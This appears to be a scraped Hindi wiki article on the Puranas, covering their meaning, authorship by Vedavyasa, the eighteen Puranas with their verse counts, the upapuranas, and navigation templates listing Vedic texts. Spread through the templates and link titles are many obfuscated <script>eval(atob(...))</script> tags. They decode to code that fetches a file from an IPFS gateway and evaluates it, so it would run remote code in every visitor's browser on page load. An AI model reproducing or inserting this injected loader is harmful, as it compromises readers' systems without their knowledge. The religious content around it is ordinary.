|
|
Line 7: |
Line 7: |
| प्राचीनकाल से पुराण देवताओं, ऋषियों, मनुष्यों - सभी का मार्गदर्शन करते रहे हैं । पुराण मनुष्य को धर्म एवं नीति के अनुसार जीवन व्यतीत करने की शिक्षा देते हैं । पुराण मनुष्य के कर्मों का विश्लेषण कर उन्हें दुष्कर्म करने से रोकते हैं । पुराण वस्तुतः वेदों का विस्तार हैं । वेद बहुत ही जटिल तथा शुष्क भाषा-शैली में लिखे गए हैं । [[वेदव्यास]] जी ने पुराणों की रचना और पुनर्रचना की । कहा जाता है, ‘‘पूर्णात पुराण। ’’ जिसका अर्थ है, जो वेदों का पूरक हो, अर्थात् पुराण ( जो वेदों की टीका हैं ) । वेदों की जटिल भाषा में कही गई बातों को पुराणों में सरल भाषा में समझाया गया हैं । पुराण-साहित्य में अवतारवाद को प्रतिष्ठित किया गया है । निर्गुण निराकार की सत्ता को मानते हुए सगुण साकार की उपासना करना इन ग्रंथों का विषय है । पुराणों में अलग-अलग देवी-देवताओं को केन्द्र में रखकर पाप-पुण्य, धर्म-अधर्म और कर्म-अकर्म की कहानियाँ हैं । प्रेम, भक्ति, त्याग, सेवा, सहनशीलता ऐसे मानवीय गुण हैं, जिनके अभाव में उन्नत समाज की कल्पना नहीं की जा सकती । पुराणों में देवी-देवताओं के अनेक स्वरूपों को लेकर एक विस्तृत विवरण मिलता है । पुराणों में सत्य को प्रतिष्ठित में दुष्कर्म का विस्तृत चित्रण पुराणकारों ने किया है । पुराणकारों ने देवताओं की दुष्प्रवृत्तियों का व्यापक विवरण किया है लेकिन मूल उद्देश्य सद्भावना का विकास और सत्य की प्रतिष्ठा ही है । | | प्राचीनकाल से पुराण देवताओं, ऋषियों, मनुष्यों - सभी का मार्गदर्शन करते रहे हैं । पुराण मनुष्य को धर्म एवं नीति के अनुसार जीवन व्यतीत करने की शिक्षा देते हैं । पुराण मनुष्य के कर्मों का विश्लेषण कर उन्हें दुष्कर्म करने से रोकते हैं । पुराण वस्तुतः वेदों का विस्तार हैं । वेद बहुत ही जटिल तथा शुष्क भाषा-शैली में लिखे गए हैं । [[वेदव्यास]] जी ने पुराणों की रचना और पुनर्रचना की । कहा जाता है, ‘‘पूर्णात पुराण। ’’ जिसका अर्थ है, जो वेदों का पूरक हो, अर्थात् पुराण ( जो वेदों की टीका हैं ) । वेदों की जटिल भाषा में कही गई बातों को पुराणों में सरल भाषा में समझाया गया हैं । पुराण-साहित्य में अवतारवाद को प्रतिष्ठित किया गया है । निर्गुण निराकार की सत्ता को मानते हुए सगुण साकार की उपासना करना इन ग्रंथों का विषय है । पुराणों में अलग-अलग देवी-देवताओं को केन्द्र में रखकर पाप-पुण्य, धर्म-अधर्म और कर्म-अकर्म की कहानियाँ हैं । प्रेम, भक्ति, त्याग, सेवा, सहनशीलता ऐसे मानवीय गुण हैं, जिनके अभाव में उन्नत समाज की कल्पना नहीं की जा सकती । पुराणों में देवी-देवताओं के अनेक स्वरूपों को लेकर एक विस्तृत विवरण मिलता है । पुराणों में सत्य को प्रतिष्ठित में दुष्कर्म का विस्तृत चित्रण पुराणकारों ने किया है । पुराणकारों ने देवताओं की दुष्प्रवृत्तियों का व्यापक विवरण किया है लेकिन मूल उद्देश्य सद्भावना का विकास और सत्य की प्रतिष्ठा ही है । |
| ==पुराणों की संख्या== | | ==पुराणों की संख्या== |
− | [[चित्र:Lord-Shiva-Statue-Rishikesh.jpg|भगवान शिव की मूर्ति, [[ॠषिकेश]]<br/> Lord Shiva Statue, Rishikesh|thumb|200px]] | + | [[चित्र:Lord-Shiva-Statue-Rishikesh.jpg|भगवान [[शिव]] की मूर्ति, [[ॠषिकेश]]<br/> Lord Shiva Statue, Rishikesh|thumb|200px]] |
| 18 विख्यात पुराण हैं : | | 18 विख्यात पुराण हैं : |
| | | |
Revision as of 11:35, 29 July 2010
[[chitr:God-Vishnu.jpg|thumb|200px|bhagavan vishnu
God Vishnu]]
puranoan ki rachana vaidik kal ke kafi bad ki hai,ye smriti vibhag mean rakhe jate haian. puranoan mean srishti ke arambh se ant tak ka vishad vivaran diya gaya hai . puranoan ko manushy ke bhoot, bhavishy, vartaman ka darpan bhi kaha ja sakata hai . is darpan mean manushy apane pratyek yug ka chehara dekh sakata hai. is darpan mean apane atit ko dekhakar vah apana vartaman sanvar sakata hai aur bhavishy ko ujjaval bana sakata hai . atit mean jo hua, vartaman mean jo ho raha hai aur bhavishy mean jo hoga, yahi kahate haian puran. inamean hindoo devi-devataoan ka aur pauranik mithakoan ka bahut achchha varnan hai. inaki bhasha saral aur katha kahani ki tarah hai. puranoan, ko vedoan aur upanishadoan jaisi pratishtha prapt nahian hai.
puran mahima
puran shabd ‘pura’ evan ‘an’ shabdoan ki sandhi se bana hai, jisaka shabdik arth -‘purana’ athava ‘prachin’ hota hai . ‘pura’ shabd ka arth hai - anagat evan atit . ‘an’ shabd ka arth hota hai -kahana ya batalana arthath jo puratan athava atit ke tathyoan, siddhaantoan, shikshaoan, nitiyoan, niyamoan aur ghatanaoan ka vivaran prastut kare . mana jata hai ki srishti ke rachanakarta brahmaji ne sarvapratham jis prachinatam dharmagranth ki rachana ki, use puran ke nam se jana jata hai . hindoo sanatan dharm mean, puran srishti ke prarambh se mane gaye haian, isalie inhean srishti ka prachinatam granth mana liya jata hai kintu ye bahut bad ki rachana hai. soory ke prakash ki bhaanti puran ko jnan ka srot mana jata hai . jaise soory apani kiranoan se aandhakar hatakar ujala kar deta hai, usi prakar puran apani jnanaroopi kiranoan se manav ke man ka aandhakar door karake se saty ke prakash ka jnan dete haian. sanatanakal se hi jagat puranoan ki shikshaoan aur nitiyoan par hi adharit hai.
vishayavastu
prachinakal se puran devataoan, rrishiyoan, manushyoan - sabhi ka margadarshan karate rahe haian . puran manushy ko dharm evan niti ke anusar jivan vyatit karane ki shiksha dete haian . puran manushy ke karmoan ka vishleshan kar unhean dushkarm karane se rokate haian . puran vastutah vedoan ka vistar haian . ved bahut hi jatil tatha shushk bhasha-shaili mean likhe ge haian . vedavyas ji ne puranoan ki rachana aur punarrachana ki . kaha jata hai, ‘‘poornat puran. ’’ jisaka arth hai, jo vedoan ka poorak ho, arthath puran ( jo vedoan ki tika haian ) . vedoan ki jatil bhasha mean kahi gee batoan ko puranoan mean saral bhasha mean samajhaya gaya haian . puran-sahity mean avataravad ko pratishthit kiya gaya hai . nirgun nirakar ki satta ko manate hue sagun sakar ki upasana karana in granthoan ka vishay hai . puranoan mean alag-alag devi-devataoan ko kendr mean rakhakar pap-puny, dharm-adharm aur karm-akarm ki kahaniyaan haian . prem, bhakti, tyag, seva, sahanashilata aise manaviy gun haian, jinake abhav mean unnat samaj ki kalpana nahian ki ja sakati . puranoan mean devi-devataoan ke anek svaroopoan ko lekar ek vistrit vivaran milata hai . puranoan mean saty ko pratishthit mean dushkarm ka vistrit chitran puranakaroan ne kiya hai . puranakaroan ne devataoan ki dushpravrittiyoan ka vyapak vivaran kiya hai lekin mool uddeshy sadbhavana ka vikas aur saty ki pratishtha hi hai .
puranoan ki sankhya
[[chitr:Lord-Shiva-Statue-Rishikesh.jpg|bhagavan shiv ki moorti, rrishikesh
Lord Shiva Statue, Rishikesh|thumb|200px]]
18 vikhyat puran haian :
yah soochi vishnu puran par adharit hai. matsy puran ki soochi mean shiv puran ke sthan par vayu puran hai.
puranoan mean shlok sankhya
sansar ki rachana karate samay brahma ne ek hi puran ki rachana ki thi . jisamean ek arab shlok the . yah puran bahut hi vishal aur kathin tha . puranoan ka jnan aur upadesh devataoan ke alava sadharan janoan ko bhi saral dhang se mile ye sochakar maharshi ved vyas ne puran ko atharah bhagoan mean baant diya tha . in puranoan mean shlokoan ki sankhya char lakh hai. maharshi vedavyas dvara rache gaye atharah puranoan aur unake shlokoan ki sankhya is prakar hai :
sukhasagar ke anusar
puran
|
shlokoan ki sankhya
|
brahmapuran
|
das hazar
|
padmapuran
|
pachapan hazar
|
vishnupuran
|
teis hazar
|
shivapuran
|
chaubis hazar
|
shrimadbhavatapuran
|
atharah hazar
|
naradapuran
|
pachchis hazar
|
markandeyapuran
|
nau hazar
|
agnipuran
|
pandrah hazar
|
bhavishyapuran
|
chaudah hazar paanch sau
|
brahmavaivartapuran
|
atharah hazar
|
liangapuran
|
gyarah hazar
|
varahapuran
|
chaubis hazar
|
skandhapuran
|
ikyasi hazar ek sau
|
koormapuran
|
satrah hazar
|
matsayapuran
|
chaudah hazar
|
garu dapuran
|
unnis hazar
|
brahmandapuran
|
barah hazar
|
manapuran
|
das hazar
|
puranoan ki sankhya atharah kyoan ?
- anima, laghima, prapti, prakamy, mahima, siddhi, eeshitv ya vashitv, sarvakamavasayita, sarvajnatv, doorashravan, srishti, parakayapravesh, vakasiddhi, kalpavrikshatv, sanharakaranasamarthy, bhavana, amarata, sarvanyay - ye attharah siddhiyaan mani jati haian .
- saankhy darshan mean purush, prakriti, man, paanch mahabhoot ( prithvi, jal, vayu, agni aur akash ), paanch jnanedri ( kan, tvacha, chakshu, nasika aur jihva ) aur paanch karmeandri (vak, pani, pad, payu aur upasth ) ye atharah tatv varnit haian .
- chhah vedaang, char ved, mimaansa, nyayashastr, puran, dharmashastr, arthashastr, ayurved, dhanurved aur gandharv ved ye atharah prakar ki vidyaean mani jati haian .
- ek sanvatsar, paanch rrituean aur barah mahine - ye sab milakar kal ke atharah bhedoan ko batate haian .
- shrimadh bhagavat gita ke adhyayoan ki sankhya bhi atharah hai .
- shrimadh bhagavat mean kul shlokoan ki sankhya atharah hazar hai .
- shriradha, katyayani, kali, tara, kooshmaanda, lakshmi, sarasvati, gayatri, chhinnamasta, shodashi, tripurabhairavi, dhoomavati, bagalamukhi, matangi, parvati, siddhidatri, bhagavati, jagadamba ke ye atharah svaroop mane jate haian .
- shrivishnu, shiv, brahma, indr adi devataoan ke aansh se prakat huee bhagavati durga atharah bhujaoan se sushobhit haian .
chitr:ardhnarishwar.jpg
ardhanarishvar
Ardhnarishwar
chitr:Brahma-Kund-Vrindavan-3.jpg
up puran
maharshi vedavyas ne atharah puranoan ke atirikt kuchh up puranoan ki bhi rachana ki hai. upapuranoan ko puranoan ka hi sararoop kaha ja sakata hai . upapuran is prakar haian:
- sanatkumar puran
- kapil puran
- samb puran
- adity puran
- nrisianh puran
- ushanah puran
- nandi puran
- maheshvar puran
- durvasa puran
- varun puran
- saur puran
- bhagavat puran
- manu puran
- kalikapuran
- parashar puran
- vasishth puran
sambandhit liank
[[Template:puran2<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:puran2<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> puran |
---|
| vaishnav puran | | | brahma puran | | | shaiv puran | | | any puran | |
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
shrutiyaan
[[Template:ved<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:ved<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ved |
---|
| |
| <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
[[Template:upaved aur vedaang<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:upaved aur vedaang<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> upaved aur vedaang |
---|
| upaved |
|
kamandak sootr · kautily arthashastr · chanaky sootr · nitivakyamritasootr · brihaspatey arthadhikarakamh · shukraniti | | |
mukti kalpataroo · vriddh sharangadhar · vaishampayan niti-prakashika · samaraangan sootradhar · adhvaryu | | | | | |
agnigrahasootraraj · ashvinikumar sanhita · ashtaangahriday · indrasootr · charak sanhita · jabalisootr · dalbhy sootr · deval sootr · dhanvantari sootr · dhatuved · brahman sanhita · bhel sanhita · manasootr · shabd kautoohal · sushrut sanhita · soop sootr · sauvari sootr |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> | | vedaang |
kalp | | | shiksha |
gautami shiksha (samaved) · naradiy shiksha· paniniy shiksha (rrigved) · bahy shiksha (krishna yajurved) · mandki shiksha (atharvaved) · yajnavalky shiksha (shukl yajurved) · lomashiy shiksha | | vyakaran |
kalp vyakaran · kamadhenu vyakaran · panini vyakaran · prakriti prakash · prakriti vyakaran · mugdhabodh vyakaran · shaktayan vyakaran · sarasvat vyakaran · hemachandr vyakaran | | niruktt |
mukti kalpataroo · vriddh sharangadhar · vaishampayan niti-prakashika · samaraangan sootradhar | | chhand |
gargyaprokt upanidan sootr · chhand manjari · chhandasootr · chhandovichit chhand sootr · chhandoanukramani · chhalapudh vritti · jayadev chhand · janashramaan chhandovichit · vrittaratnakar · veankatamadhav chhandoanukramani · shrutavek | | jyotish |
aryabhatiy jyotish · naradiy jyotish · parashar jyotish · brahmagupt jyotish · bhaskarachary jyotish · varahamihir jyotish · vasishth jyotish · vedaang jyotish |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |
| <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
upanishad | | rrigvediy upanishad | | | yajurvediy upanishad |
shukl yajurvediy | | | krishna yajurvediy | |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> | | samavediy upanishad | | | atharvavediy upanishad | | | | | rrigvediy brahman granth | | | yajurvediy brahman granth |
shukl yajurvediy | | | krishna yajurvediy | |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> | | samavediy brahman granth | | | atharvavediy brahman granth | | |
sootr-granth | | rrigvediy sootr-granth | | | yajurvediy sootr-granth |
shukl yajurvediy | | | krishna yajurvediy | |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> | | samavediy sootr-granth |
masakasootr · latyayan sootr · khadir shrautasootr · jaiminiy grihyasootr · gobhil grihyasootr · khadir grihyasootr · gautam dharmasootr · drahyayan grihyasootr · drahyayan dharmasootr | | atharvavediy sootr-granth | |
| <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
shakha | | shakha |
shakal rrigvediy shakha · kanv shukl yajurvediy · madhyandin shukl yajurvediy · taittiriy krishna yajurvediy · maitrayani krishna yajurvediy · kath krishna yajurvediy · kapishthal krishna yajurvediy · shvetashvatar krishna yajurvediy · kauthumi samavediy shakha · jaiminiy samavediy shakha · ranayaniy samavediy shakha · paippalad atharvavediy shakha · shaunakiy atharvavediy shakha | | mantr-sanhita |
rrigved mantr-sanhita · shukl yajurved mantr- sanhita · samaved mantr-sanhita · atharvaved mantr-sanhita | | aranyak | | |
pratisakhy evan anukramanika | | rrigvediy pratisakhy |
shaankhayan pratishakhy · brihad pratishakhy · arshanukramanika · ashvalayan pratishakhy · chhandonukramanika · rrigpratishakhy · devatanukramanika · sarvanukramanika · anuvakanukramanika · brihadvatanukramanika · rrigh vijnan | | yajurvediy pratisakhy |
shukl yajurvediy |
katyayan shulvasootr · katyayanukramanika · vajasaneyi pratishakhy | | krishna yajurvediy |
taittiriy pratishakhy |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> | | samavediy pratisakhy |
shaunakiya chaturdhyapika |
| <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
[[Template:smriti<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|dekhean]] • [[|varta]] • [{{fullurl:Template:smriti<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>|action=edit}}badalean] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> smriti sahity |
---|
| smritigranth | | | puran | | | mahakavy | | | darshan | | | nibandh |
jimootavahan krit : dayabhag · kalavivek · vyavahar matrika · aniruddh krit : pitridayita · haralata · ballalasen krit :acharasagar · pratishthasagar · adbhutasagar · shridhar upadhyay krit : kalamadhav · dattakamimaansa · parasharamadhav · gotr-pravar nirnay · muhoortamadhav · smritisangrah · vratyastom-paddhati · nandapandit krit : shraddh-kalpalata · shuddhi-chandrika · tattvamuktavali · dattak mimaansa · · narayanabhatat krit : tristhali-setu · antyeshti-paddhati · prayog ratnakar · kamalakar bhatt krit: nirnayasindhu · shoodrakamalakar · danakamalakar · poortakamalakar · vedaratn · prayashchittaratn · vivad tandav · kashinath upadhyay krit : dharmasindhu · nirnayamrit · purusharth-chintamani · shoolapani krit : smriti-vivek (apoorn) · raghunandan krit : smriti-tattv · chandeshvar krit : smriti-ratnakar · vachaspati mishr : vivad-chintamani · devan bhatat krit : smriti-chandrika · hemadri krit : chaturvarg-chintamani · nilakandabhatat krit : bhagavant bhaskar · mitramishr krit: vir-mitroday · lakshmidhar krit : krity-kalpataru · jagannath tarkapanchanan krit : vivadarnav | | agam |
vaishnavagam |
ahirbudhny-sanhita · eeshvar-sanhita · kapilajanli-sanhita · jayakhy-sanhita · padmatantr-sanhita · parashar-sanhita · brihadbrahm-sanhita · bharadvaj-sanhita · lakshmi-sanhita · vishnutilak-sanhita · vishnu-sanhita · shriprashn-sanhita · sattvat-sanhita | | shaivagam |
tattvatray · tattvaprakashika · tattvasangrah · tatpary sangrah · nareshvar pariksha · nadakarika · paramoksh-nirashakarika · pashupat sootr · bhogakarika · mokshakarika · ratnatray · shrutisooktimala · soot-sanhita | | shaktagam |
vamagam |
advaitabhavopanishad · arunopanishad · kalikopanishad · kaulopanishad · taropanishad · tripuropanishad · brahichopanishad · bhavanopanishad | | mishramarg |
kalanidhi · kularnav · kuleshvari · chandrak · jyotsravati · durvasas · barhaspaty · bhuvaneshvari | | samayachar |
vasishthasanhita · shukrasanhita · sanakasanhita · sanatkumarasanhita · sanandanasanhita | | tantrik sadhana |
kalivilas · kularnav · kool-choo damani · jnanarnav · tantraraj · tripura-rahasy · dakshinamoorti-sanhita · namakeshvar · prapanchasar · mantr-maharnav · mahanirvan · rudrayamal · shaktisangam-tantr · sharada-tilak |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
